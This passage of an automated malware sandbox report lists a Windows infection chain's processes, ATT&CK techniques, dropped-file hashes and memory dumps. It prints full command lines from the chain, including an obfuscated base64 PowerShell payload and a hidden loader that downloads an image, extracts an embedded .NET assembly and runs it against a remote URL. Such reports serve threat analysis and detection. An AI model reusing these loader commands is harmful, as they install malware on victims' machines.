gTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreXwByDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrewDgTreDQDgTreMQDgTrezDgTreDkDgTreOQDgTrezDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre1DgTreDUDgTreLwDgTre5DgTreDkDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreF8DgTrecgDgTreuDgTreGoDgTrecDgTreBnDgTreD8DgTreMQDgTre3DgTreDEDgTreMDgTreDgTre0DgTreDEDgTreMwDgTre5DgTreDkDgTreMwDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQBGDgTreHIDgTrebwBtDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreC0DgTrebgBlDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreFDgTreDgTreUgBPDgTreEoDgTreRQBUDgTreE8DgTreQQBVDgTreFQDgTreTwBNDgTreEEDgTreQwBBDgTreE8DgTreLgBWDgTreEIDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBBDgTreEIDgTreQgDgTrevDgTreDEDgTreMQDgTrexDgTreDDgTreDgTreNwDgTrevDgTreDgDgTreOQDgTrexDgTreC4DgTreMQDgTrezDgTreDIDgTreLgDgTre3DgTreDIDgTreMQDgTreuDgTreDgDgTreODgTreDgTrexDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBCDgTreEIDgTreRwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993', 'https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ABB/11107/891.132.721.881//:ptth' , '1' , 'C:\ProgramData\' , 'BBG','RegAsm',''))} }"
4⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\BBG.vbs
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
5⤵
- Suspicious use of SetWindowsHookEx
PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c8ea0ae80a4bf69d00ba0ce99a3c281b

SHA1
6dfb15d80c51ad6b86aa75d8c3618ec701cc2a77

SHA256
61586fa43d58ef8f559316c6bd6eebc211aad0f0a4a2f00e13062007dd739d35

SHA512
d1c707cc3f952cc9bbad53fcb97eda87f205bb75b384543fc101062bd54591fe173b524ec7e65d730d35c61940ea6e1fd42fbeeb361ad61eb07eb7f31cd0ef43

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6b76f9def3da29f87939a57c6a04538e

SHA1
2677476265e10d7701244470d2ac8bf4f08bd6d3

SHA256
377c43b5258cd8129fff9538257c22b2dbd8823607560babe67851d4fc4ab23b

SHA512
f8f926a6fb2483ffd23a7b15d032f45005679073b6641af581161c52bdc9b558d99fd98011465f1146214f3cc11573c9684a03410e2d0df6e7de6a450abfa332

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabF24B.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarF27D.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarFF7D.tmp

Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
607686eaf8692c6891675f208f739578

SHA1
db3bd6425b0f0f5697929b10c431ec23c7d0b059

SHA256
327be55d5fd7c9b7f98f06e2533db3052d8d05d4b7dc21bbba12947b74040afc

SHA512
6bc95e37206c92240d6c0c05c0f4c13333051eddcadb30e9468ca53a2384e14c46658711c17d26088247e2aaa4b720cbb2ad5afe6bae0c459c1c7524db84d5d9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
642206183d6be317d1721e1507bb17c4

SHA1
2a26cc6ac8c4236c292db498a66f4c379d78e29f

SHA256
4f71b7bc51f1bf638fe4661b7b509003cc5d0f27195bc1d1102592c1383781af

SHA512
18bd49c9f8bf586100b4c5664994417732de7c165522c1dc8b98be9b7a0cb8b519e54d831c40556363f79df4219c3c069121b3fbfc002e174a7befe540b27b41

Download Submit
C:\Users\Admin\AppData\Roaming\imagepixelovesu.vbs

Filesize
402KB

MD5
2638662ee6681344519565c13bef02c5

SHA1
86c9af65df052f19465b14a95c5d4223d7a7d2e1

SHA256
9fd9f62583338c75b06228db9b4880986c7364b864595ef94e14078e2be62fc1

SHA512
24daf222246b46df9756047f85525efb3b23db1430e031be70ce41e6f932510326239b147507af62e349b58ea01ffbc1a54a1bdfe9ced1f8022a38798611ec6d

Download Submit
C:\Users\Admin\AppData\Roaming\notess\logs.dat

Filesize
262B

MD5
62cb237ce99c97db7bd557b935be9ede

SHA1
3bd43062c8b72541f637172d70b69eb395621008

SHA256
3c948c82b4d33b8142f09c46442471197cff319bd2b3f58ca6871209f1ef13bc

SHA512
3d5b795680e9628a6331d2a6a75d176c20f6cf2eff366c0b6e125bf086e00c1f3ff81fa09df0fc42bad0a68fdd0387991cffc3419f3c9452921c7e4b516e7d08

Download Submit
memory/1056-149-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-177-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-221-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-220-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-194-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-193-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-190-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-186-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-182-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-181-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-180-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-179-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-178-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-176-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-175-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-173-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-172-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-171-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-167-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-165-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-163-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1056-161-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-147-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-159-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-151-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-153-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-155-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1056-157-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-143-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/1968-146-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/1968-138-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/1968-137-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/1968-140-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/1968-139-0x0000000002490000-0x00000000024D0000-memory.dmp

Filesize
256KB

Download
memory/2028-141-0x0000000002920000-0x0000000002960000-memory.dmp

Filesize
256KB

Download
memory/2028-48-0x0000000002920000-0x0000000002960000-memory.dmp

Filesize
256KB

Download
memory/2028-142-0x0000000002920000-0x0000000002960000-memory.dmp

Filesize
256KB

Download
memory/2028-168-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2028-129-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2028-136-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2028-47-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2028-135-0x0000000002920000-0x0000000002960000-memory.dmp

Filesize
256KB

Download
memory/2028-46-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-128-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2672-127-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-37-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-38-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-39-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2672-40-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2672-170-0x000000006A7D0000-0x000000006AD7B000-memory.dmp

Filesize
5.7MB

Download
memory/2768-33-0x0000000070ECD000-0x0000000070ED8000-memory.dmp

Filesize
44KB

Download
memory/2768-2-0x0000000070ECD000-0x0000000070ED8000-memory.dmp

Filesize
44KB

Download
memory/2768-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2768-214-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2768-215-0x0000000070ECD000-0x0000000070ED8000-memory.dmp

Filesize
44KB

Download
memory/2768-0-0x000000002FC71000-0x000000002FC72000-memory.dmp

Filesize
4KB

Download